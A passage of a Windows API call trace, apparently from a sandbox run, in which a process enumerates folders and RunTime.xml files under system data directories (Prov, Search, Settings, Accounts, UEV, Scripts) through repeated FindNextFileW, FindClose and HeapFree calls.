dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0277.723] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0277.723] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0277.723] FindClose (in: hFindFile=0x6ec370 | out: hFindFile=0x6ec370) returned 1 [0277.724] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0277.724] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", cAlternateFileName="{9DF6A~1")) returned 1 [0277.724] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0277.724] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f44caa, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f44caa, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f44caa, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0277.724] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0277.724] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0277.724] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0277.724] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0277.724] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", cAlternateFileName="{B0B91~1")) returned 1 [0277.724] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0277.724] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66020, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66020, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66020, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0277.725] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0277.725] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0277.725] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0277.725] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0277.725] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{c5dc3753-b6c8-4057-b396-bf13d769311c}", cAlternateFileName="{C5DC3~1")) returned 1 [0277.725] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0277.725] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fa1af1, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fa1af1, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fa1af1, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x222, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0277.725] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0277.725] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0277.725] FindClose (in: hFindFile=0x6ec4f0 | out: hFindFile=0x6ec4f0) returned 1 [0277.726] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0277.726] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b2205b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{c8a326e4-f518-4f14-b543-97a57e1a975e}", cAlternateFileName="{C8A32~1")) returned 1 [0278.429] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0278.429] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919d3d65, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x919d3d65, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x919d3d65, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bf13, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0278.430] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.430] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0278.430] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0278.430] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0278.432] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{ee4aac98-c174-4941-82b1-d121e493e4fb}", cAlternateFileName="{EE4AA~1")) returned 1 [0278.435] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0278.435] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f3fdc3, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0278.435] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.435] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d15f260, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d15f260, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d15f260, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0278.435] FindClose (in: hFindFile=0x6ec4f0 | out: hFindFile=0x6ec4f0) returned 1 [0278.435] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0278.435] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{f11899f2-71ec-4621-9997-e17ae2f6eb26}", cAlternateFileName="{F1189~1")) returned 1 [0278.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0278.437] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1df76, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1df76, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f1df76, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0278.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.437] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d21de20, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d21de20, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d21de20, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0278.437] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0278.438] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0278.438] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 1 [0278.485] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0278.485] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55ce72cc, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x55ce72cc, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x55ce72cc, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x948, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0278.485] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.485] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0278.485] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0278.485] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0278.485] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2178e943, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2178e943, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2178e943, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}", cAlternateFileName="{FC01E~1")) returned 0 [0278.485] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0278.485] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.487] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb79dd84e, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb7a500e7, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb7a500e7, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1 [0278.543] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0278.543] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x769ae22f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xfd58d8c3, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xfd58d8c3, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Windows", cAlternateFileName="")) returned 0 [0278.544] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0278.547] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.547] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f173b05, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b7d74b9, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2b7d74b9, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0278.550] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0278.550] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f173b05, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2b7d74b9, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2b7d74b9, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0278.551] FindClose (in: hFindFile=0x6ec270 | out: hFindFile=0x6ec270) returned 1 [0278.551] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0278.552] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f068b0c, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x768c9439, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x768c9439, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Data", cAlternateFileName="")) returned 0 [0278.552] FindClose (in: hFindFile=0x6ec4f0 | out: hFindFile=0x6ec4f0) returned 1 [0278.552] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.552] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30e3b7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings", cAlternateFileName="")) returned 1 [0278.567] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.567] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe30ecb9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Accounts", cAlternateFileName="")) returned 0 [0278.567] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0278.567] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.567] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dcfea0a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1dcfea0a, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmsRouter", cAlternateFileName="SMSROU~1")) returned 1 [0278.567] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.567] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe3607ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spectrum", cAlternateFileName="")) returned 1 [0278.568] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.568] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbe360d61, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17cbb4ff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech_OneCore", cAlternateFileName="SPEECH~1")) returned 1 [0278.571] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.571] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcb4dcad0, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xcb4dcad0, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Storage Health", cAlternateFileName="STORAG~1")) returned 1 [0278.572] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.572] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe3615f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UEV", cAlternateFileName="")) returned 1 [0278.593] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.594] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe469068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Scripts", cAlternateFileName="")) returned 1 [0278.594] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.594] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbe46954b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe827d9f8, 